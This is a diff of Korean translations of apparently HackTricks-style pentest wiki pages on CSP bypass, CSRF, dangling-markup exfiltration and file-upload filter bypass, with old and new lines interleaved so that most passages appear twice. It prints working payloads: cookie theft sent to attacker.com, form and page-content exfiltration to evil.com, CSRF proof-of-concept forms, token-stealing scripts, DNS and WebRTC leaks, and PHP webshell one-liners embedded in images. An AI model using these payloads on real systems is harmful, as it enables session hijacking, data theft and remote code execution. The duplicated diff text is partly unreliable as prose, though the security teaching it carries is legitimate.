[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있어 CSTI를 방지하는 스크립트가 비활성화되었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다:
```html
<meta
http-equiv="Content-Security-Policy"
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 당신의 서버를 가리키게 할 수 있으며, **전송하려는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 발생시키고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 **당신이 탈취하고자 하는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 유발하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
예시로 [**이 CTF 작성글을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -583,9 +583,9 @@ document.querySelector("DIV").innerHTML =
- 이 URL은 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션되며, 이는 CSP에 의해 **허용되지 않습니다**.
- `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있는 가능성을 초래합니다.
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성된 경우, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 다양한 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성된 경우, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다른 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -597,9 +597,9 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
## CSP 우회를 위한 안전하지 않은 기술
### 너무 많은 매개변수로 인한 PHP 오류
### 너무 많은 파라미터로 인한 PHP 오류
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 매개변수(1001 GET 매개변수, POST 매개변수 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이로 인해 오류가 발생합니다.
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 파라미터(1001 GET 파라미터, POST 파라미터와 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 이로 인해 발생하는 오류 때문입니다.
### PHP 응답 버퍼 오버로드
@ -610,7 +610,7 @@ Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Bab
### 오류 페이지 재작성
[**이 글**](https://blog.ssrf.kr/69)에서 보듯이, 오류 페이지(잠재적으로 CSP가 없는) 로드 및 그 내용을 재작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.
[**이 글**](https://blog.ssrf.kr/69)에서 보듯이, 오류 페이지(잠재적으로 CSP가 없는) 를 로드하고 그 내용을 재작성하여 CSP 보호를 우회하는 것이 가능했던 것 같습니다.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하고자 하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 접근할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM**에 **접근**할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -641,16 +641,16 @@ SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### 메타 태그
### Meta tag
메타 태그를 주입하여 리디렉션할 수 있습니다(이는 단순한 리디렉션이며, 콘텐츠가 유출되지 않습니다).
메타 태그를 주입하여 리디렉션할 수 있습니다 (이는 단순한 리디렉션이며, 콘텐츠가 유출되지 않습니다)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
페이지 로드를 더 빠르게 하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\
브라우저에 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\
브라우저에 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**:
```javascript
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해 보세요:
실제로 _DNS 요청_을 사용하여 정보를 _leak_할 수 있습니다. 이 코드를 확인해 보세요:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -688,7 +688,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
다른 옵션:
다른 옵션:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[

View File

@ -10,9 +10,9 @@
CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다:
1. **Identify a Valuable Action**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같 악용할 가치가 있는 행동을 찾아야 합니다.
1. **Identify a Valuable Action**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같 악용할 가치가 있는 행동을 찾아야 합니다.
2. **Session Management**: 사용자의 세션은 쿠키 또는 HTTP Basic Authentication 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다.
3. **Absence of Unpredictable Parameters**: 요청에는 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방지할 수 있습니다.
3. **Absence of Unpredictable Parameters**: 요청에는 예측할 수 없는 매개변수가 포함되지 않아야 하며, 이는 공격을 방지할 수 있습니다.
### Quick Check
@ -43,7 +43,7 @@ Several countermeasures can be implemented to protect against CSRF attacks:
### Lack of token
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수**를 제거하여 이를 악용할 수 있으며, 단순히 값만 제거하는 것이 아닙니다. 이를 통해 검증 프로세스를 우회하고 Cross-Site Request Forgery (CSRF) 공격을 효과적으로 수행할 수 있습니다.
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수**를 제거하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다.
### CSRF token is not tied to the user session
@ -51,9 +51,9 @@ Several countermeasures can be implemented to protect against CSRF attacks:
공격자가 이를 악용하는 방법은 다음과 같습니다:
1. **Authenticate** using their own account.
2. **Obtain a valid CSRF token** from the global pool.
3. **Use this token** in a CSRF attack against a victim.
1. **Authenticate** 자신의 계정을 사용하여 인증합니다.
2. **Obtain a valid CSRF token** 전역 풀에서 유효한 CSRF 토큰을 얻습니다.
3. **Use this token** 피해자에 대한 CSRF 공격에 이 토큰을 사용합니다.
이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다.
@ -76,7 +76,7 @@ Several countermeasures can be implemented to protect against CSRF attacks:
### CSRF token is verified by a cookie
애플리케이션은 CSRF 보호를 위해 쿠키와 요청 매개변수 모두에 토큰을 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
@ -103,7 +103,7 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!NOTE]
> csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
> **csrf 토큰이 세션 쿠키와 관련이 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
### Content-Type 변경
@ -113,7 +113,7 @@ onerror="document.forms[0].submit();" />
- **`multipart/form-data`**
- **`text/plain`**
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수** 있으므로 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값 시도해 보아야 합니다.
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있습니다**. 따라서 언급된 값과 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._와 같은 다른 값들을 시도해 보아야 합니다.
예시 (from [here](https://brycec.me/posts/corctf_2021_challenges))는 text/plain으로 JSON 데이터를 전송하는 방법입니다:
```html
@ -189,7 +189,7 @@ document.forms[0].submit()
```
### **HEAD 메서드 우회**
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문 없이 GET 요청으로 처리하도록 설정되어** 있다고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, 요청은 단순히 **GET 핸들러로 전달되지만 앱은 응답 본문을 제거합니다**.
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 응답 본문 없이 GET 요청으로 처리하도록 설정되어 있다**고 설명합니다. 이는 Oak에만 국한되지 않는 일반적인 우회 방법입니다. HEAD 요청을 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**.
@ -197,7 +197,7 @@ document.forms[0].submit()
### **CSRF 토큰 추출**
**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **추출을 시도할 수 있습니다**.
**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 취약점을 악용하여 **추출을 시도할 수 있습니다**.
### **HTML 태그를 사용한 GET**
```xml
@ -205,7 +205,7 @@ document.forms[0].submit()
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는 다음과 같습니다:
자동으로 GET 요청을 보내는 데 사용할 수 있는 다른 HTML5 태그는:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -234,7 +234,7 @@ background: url("...");
</video>
</audio>
```
### GET 요청
### GET 요청
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
@ -397,7 +397,7 @@ document.getElementById("formulario").submit()
</body>
</body>
```
### **CSRF 토큰 훔치기 및 POST 요청 전송**
### **CSRF 토큰 훔치기 및 POST 요청 보내기**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
@ -535,7 +535,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF 토큰을 Ajax로 가져오고 폼으로 POST 전송**
### **POSTAjax를 사용하여 CSRF 토큰을 훔치고 폼으로 POST 전송하기**
```html
<body onload="getData()">
<form

View File

@ -4,10 +4,10 @@
## Resume
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **HTML 태그를 주입할 수 있는 경우**에도 유용합니다.\
또한 **비밀이 평문으로** HTML에 저장되어 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. 이는 **XSS** [**를 악용할 방법을 찾지 못했을 때**](../xss-cross-site-scripting/index.html) 유용하며, **HTML 태그를 주입할 수 있는 경우**에 매우 유용합니다.\
또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다.
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...).
여기에서 언급된 여러 기술은 정보를 예상치 못한 방식으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/index.html)를 우회하는 데 사용할 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base...).
## Main Applications
@ -23,7 +23,7 @@
```
**Chrome는 "<" 또는 "\n"이 포함된 HTTP URL을 차단합니다**, 따라서 "ftp"와 같은 다른 프로토콜 스킴을 시도할 수 있습니다.
또한 CSS `@import`를 악용할 수 있습니다(모든 코드를 전송하며 ";"를 찾을 때까지 계속합니다).
CSS `@import`를 악용할 수 있습니다(모든 코드를 전송하며 ";"를 찾을 때까지 계속합니다).
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
@ -41,7 +41,7 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
럼, 데이터가 경로로 전송되는 폼(`<form action='update_profile.php'>`)은 악성 도메인으로 데이터를 전송하게 됩니다.
런 다음, 데이터를 경로로 보내는 폼(`<form action='update_profile.php'>`)은 악성 도메인으로 데이터를 보냅니다.
### 폼 훔치기 2
@ -57,7 +57,7 @@ I get consumed!
```
공격자는 이를 사용하여 정보를 훔칠 수 있습니다.
[**이 공격의 예를 이 문서에서 찾아보세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
[**이 공격의 예를 이 문서에서 찾세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### 평문 비밀 훔치기 2
@ -65,7 +65,7 @@ I get consumed!
```html
<input type='hidden' name='review_body' value="
```
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 내용을 포함하고 다음 이중 따옴표까지 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
이 입력 필드는 HTML에서 이중 따옴표 사이의 모든 콘텐츠와 다음 이중 따옴표 사이의 콘텐츠를 포함합니다. 이 공격은 "_**명확한 텍스트 비밀 훔치기**_"와 "_**양식 훔치기2**_"를 혼합합니다.
폼과 `<option>` 태그를 주입하여 동일한 작업을 수행할 수 있습니다. 닫힌 `</option>`이 발견될 때까지 모든 데이터가 전송됩니다:
```html
@ -90,7 +90,7 @@ I get consumed!
`<noscript></noscript>`는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 [chrome://settings/content/javascript](chrome://settings/content/javascript)에서 활성화/비활성화할 수 있습니다).
공격자가 제어하는 사이트로 주입 지점에서 하단까지 웹 페이지의 내용을 유출하는 방법은 다음을 주입하는 것입니다:
공격자가 제어하는 사이트로 주입 지점에서 페이지의 내용을 하단까지 유출하는 방법은 다음을 주입하는 것입니다:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
@ -101,8 +101,8 @@ From this [portswiggers research](https://portswigger.net/research/evading-csp-w
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
**희생자**에게 **링크를 클릭**하도록 요청하여 **당신이 제어하는** **payload**로 **리디렉션**됩니다. 또한 **`base`** 태그 내의 **`target`** 속성은 다음 단일 인용부호까지 **HTML 콘텐츠**를 포함할 것임을 주목하세요.\
이로 인해 링크가 클릭되면 **`window.name`**의 **값**은 모든 **HTML 콘텐츠**가 니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 **제어**하므로 해당 **`window.name`**에 접근하고 그 데이터를 **유출**할 수 있습니다:
**희생자**에게 **링크를 클릭**하도록 요청하여 **당신이 제어하는** **payload**로 **리디렉션**되게 하십시오. 또한 **`base`** 태그 내의 **`target`** 속성은 다음 단일 인용부호까지 **HTML 콘텐츠**를 포함할 것임을 주의하십시오.\
이로 인해 링크가 클릭되면 **`window.name`**의 **값**은 모든 **HTML 콘텐츠**가 될 것입니다. 따라서 희생자가 링크를 클릭하여 접근하는 페이지를 **제어**하므로 해당 **`window.name`**에 접근하고 그 데이터를 **유출**할 수 있습니다:
```html
<script>
if(window.name) {
@ -130,7 +130,7 @@ The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### JSONP 남용
### Abuse of JSONP
JSONP 인터페이스를 찾으면 임의의 데이터로 임의의 함수를 호출할 수 있습니다:
```html
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
```
이것은 `sandbox=' allow-scripts allow-top-navigation'`와 같은 방법으로 완화할 수 있습니다.
iframe은 **iframe name 속성**을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 **민감한 정보가 iframe name 속성 안에 나타나게 하는** iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
iframe은 또한 **iframe name 속성**을 사용하여 다른 페이지에서 민감한 정보를 유출하는 데 악용될 수 있습니다. 이는 HTML 주입을 악용하여 **민감한 정보가 iframe name 속성 안에 나타나게 하는** iframe을 생성할 수 있기 때문이며, 그런 다음 초기 iframe에서 해당 이름에 접근하여 유출할 수 있습니다.
```html
<script>
function cspBypass(win) {
@ -186,8 +186,8 @@ onload="cspBypass(this.contentWindow)"></iframe>
### 새로운 \<portal HTML 태그
\<portal 태그의 exploitable vulnerabilities에 대한 매우 **흥미로운 연구**를 [여기](https://research.securitum.com/security-analysis-of-portal-element/)에서 찾을 수 있습니다.\
이 글을 작성할 당시 Chrome에서 `chrome://flags/#enable-portals`에서 portal 태그를 활성화해야 작동합니다.
\<portal 태그의 취약점에 대한 매우 **흥미로운 연구**를 [여기](https://research.securitum.com/security-analysis-of-portal-element/)에서 찾을 수 있습니다.\
이 글을 작성하는 시점에서 Chrome에서 `chrome://flags/#enable-portals`에서 portal 태그를 활성화해야 작동합니다.
```html
<portal src='https://attacker-server?
```
@ -197,7 +197,7 @@ HTML에서 연결성을 유출하는 모든 방법이 Dangling Markup에 유용
## SS-Leaks
이것은 **dangling markup와 XS-Leaks**의 **혼합**입니다. 한편으로는 취약점이 **같은 출처**의 페이지에 **HTML**(하지만 JS는 아님)을 **주입**할 수 있게 합니다. 다른 한편으로는 HTML을 주입할 수 있는 페이지를 **직접 공격**하지 않고, **다른 페이지**를 공격합니다.
이것은 **dangling markup와 XS-Leaks**의 **혼합**입니다. 한편으로는 취약점이 **HTML**(하지만 JS는 아님)을 **공격할 페이지와 동일한 출처**의 페이지에 **주입**할 수 있게 합니다. 다른 한편으로는 HTML을 주입할 수 있는 페이지를 **직접 공격**하지 않고, **다른 페이지**를 공격합니다.
{{#ref}}
ss-leaks.md
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search는 **사이드 채널 공격**을 악용하여 **교차 출처 정보**를 **유출**하는 데 중점을 둡니다. 따라서, 이는 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부 관계없이), 예를 들어 [**CSS Injection**](../xs-search/index.html#css-injection) 또는 [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
XS-Search는 **사이드 채널 공격**을 악용하여 **교차 출처 정보**를 **유출**하는 데 중점을 둡니다. 따라서, 이는 Dangling Markup과는 다른 기술이지만, 일부 기술은 HTML 태그의 포함을 악용합니다(JS 실행 여부 관계없이), 예를 들어 [**CSS Injection**](../xs-search/index.html#css-injection) 또는 [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
{{#ref}}
../xs-search/

View File

@ -18,7 +18,7 @@
### 파일 확장자 검사 우회
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 **앞에 유효한 확장자 추가** 확인합니다 (이전 확장자도 사용):_
2. _실행 확장자 앞에 **유효한 확장자 추가** 확인 (이전 확장자도 사용):_
- _file.png.php_
- _file.png.Php5_
3. **특수 문자를 끝에 추가**해 보십시오. Burp를 사용하여 모든 **ascii****Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._)
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 추가하는 기법을 사용할 수 있습니다.
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자****두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용할 수 있습니다. _이전 확장자를 사용하여 더 나은 페이로드를 준비할 수 있습니다._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,12 +40,12 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 이전 검사에 **또 다른 확장자 레이어**를 추가합니다:
5. 이전 검사에 **또 다른 확장자 레이어 추가**:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, **.php**로 끝나지 않더라도 코드가 실행됩니다):
- _ex: file.php.png_
7. **Windows**에서 **NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
6. **유효한 확장자 앞에 exec 확장자 추가**하고 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, **.php**로 끝나지 않더라도 모든 것이 코드를 실행합니다):
- _: file.php.png_
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 **깨뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
```
@ -59,7 +59,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### 콘텐츠 유형, 매직 넘버, 압축 및 크기 조정 우회
### Content-Type, 매직 넘버, 압축 및 크기 조정 우회
- **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
